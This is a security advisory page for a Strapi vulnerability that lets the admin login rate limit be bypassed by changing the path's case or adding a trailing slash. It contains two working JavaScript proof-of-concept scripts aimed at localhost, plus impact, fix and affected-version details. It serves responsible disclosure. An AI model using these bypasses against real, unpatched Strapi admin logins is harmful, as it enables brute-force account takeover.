GHSA-24q2-59hm-rh9r

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Source
https://github.com/advisories/GHSA-24q2-59hm-rh9r
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/09/GHSA-24q2-59hm-rh9r/GHSA-24q2-59hm-rh9r.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-24q2-59hm-rh9r
Aliases
Related
Published
2023-09-13T16:32:26Z
Modified
2023-11-08T04:13:08.496788Z
Severity
  • 7.3 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L CVSS Calculator
Summary
Strapi Improper Rate Limiting vulnerability
Details

1. Summary

There is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it.

2. Details

It is possible to avoid this by modifying the rate-limited request path as follows. 1. Manipulating request paths to upper or lower case. (Pattern 1) - In this case, avoidance is possible with various patterns. 2. Add path slashes to the end of the request path. (Pattern 2)

3. PoC

Access the administrator's login screen (/admin/auth/login) and execute the following PoC on the browser's console screen.

Pattern 1 (uppercase and lowercase)

// poc.js
(async () => {
  const data1 = {
    email: "admin@strapi.com",   // registered e-mail address
    password: "invalid_password",
  };
  const data2 = {
    email: "admin@strapi.com",
    password: "RyG5z-CE2-]*4e4",   // correct password
  };

  for (let i = 0; i < 30; i++) {
    await fetch("http://localhost:1337/admin/login", {
      method: "POST",
      body: JSON.stringify(data1),
      headers: {
        "Content-Type": "application/json",
      },
    });
  }

  const res1 = await fetch("http://localhost:1337/admin/login", {
    method: "POST",
    body: JSON.stringify(data2),
    headers: {
      "Content-Type": "application/json",
    },
  });
  console.log(res1.status + " " + res1.statusText);

  const res2 = await fetch("http://localhost:1337/admin/Login", {  // capitalize part of path
    method: "POST",
    body: JSON.stringify(data2),
    headers: {
      "Content-Type": "application/json",
    },
  });
  console.log(res2.status + " " + res2.statusText);
})();
This PoC does the following:
  1. Request 30 incorrect logins.
  2. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (429 Too Many Requests)
  3. Next, falsify the pathname of the request (/admin/Login) and make a request again to confirm that it is possible to bypass the rate limit and log in. (200 OK)

Pattern 2 (trailing slash)

// poc.js
(async () => {
  const data1 = {
    email: "admin@strapi.com",   // registered e-mail address
    password: "invalid_password",
  };
  const data2 = {
    email: "admin@strapi.com",
    password: "RyG5z-CE2-]*4e4",   // correct password
  };

  for (let i = 0; i < 30; i++) {
    await fetch("http://localhost:1337/admin/login", {
      method: "POST",
      body: JSON.stringify(data1),
      headers: {
        "Content-Type": "application/json",
      },
    });
  }

  const res1 = await fetch("http://localhost:1337/admin/login", {
    method: "POST",
    body: JSON.stringify(data2),
    headers: {
      "Content-Type": "application/json",
    },
  });
  console.log(res1.status + " " + res1.statusText);

  const res2 = await fetch("http://localhost:1337/admin/login/", {  // trailing slash
    method: "POST",
    body: JSON.stringify(data2),
    headers: {
      "Content-Type": "application/json",
    },
  });
  console.log(res2.status + " " + res2.statusText);
})();
This PoC does the following:
  1. Request 30 incorrect logins.
  2. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (429 Too Many Requests)
  3. Next, falsify the pathname of the request (/admin/login/) and make a request again to confirm that it is possible to bypass the rate limit and log in. (200 OK)

PoC Video

4. Impact

It is possible to bypass the rate limit of the login function of the admin screen. Therefore, the possibility of unauthorized login by login brute force attack increases.

5. Measures

Forcibly convert the request path used for rate limiting to upper case or lower case and judge it as the same path. (ctx.request.path)
Also, remove any extra slashes in the request path.

https://github.com/strapi/strapi/blob/32d68f1f5677ed9a9a505b718c182c0a3f885426/packages/core/admin/server/middlewares/rateLimit.js#L31

6. References

Database specific
{
    "github_reviewed_at": "2023-09-13T16:32:26Z",
    "severity": "HIGH",
    "cwe_ids": [
        "CWE-770"
    ],
    "github_reviewed": true,
    "nvd_published_at": "2023-09-15T20:15:08Z"
}
References

Affected packages

npm / @strapi/admin

Package

Name
@strapi/admin
View open source insights on deps.dev
Purl
pkg:npm/%40strapi/admin

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
4.12.1

npm / @strapi/plugin-users-permissions

Package

Name
@strapi/plugin-users-permissions
View open source insights on deps.dev
Purl
pkg:npm/%40strapi/plugin-users-permissions

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
4.12.1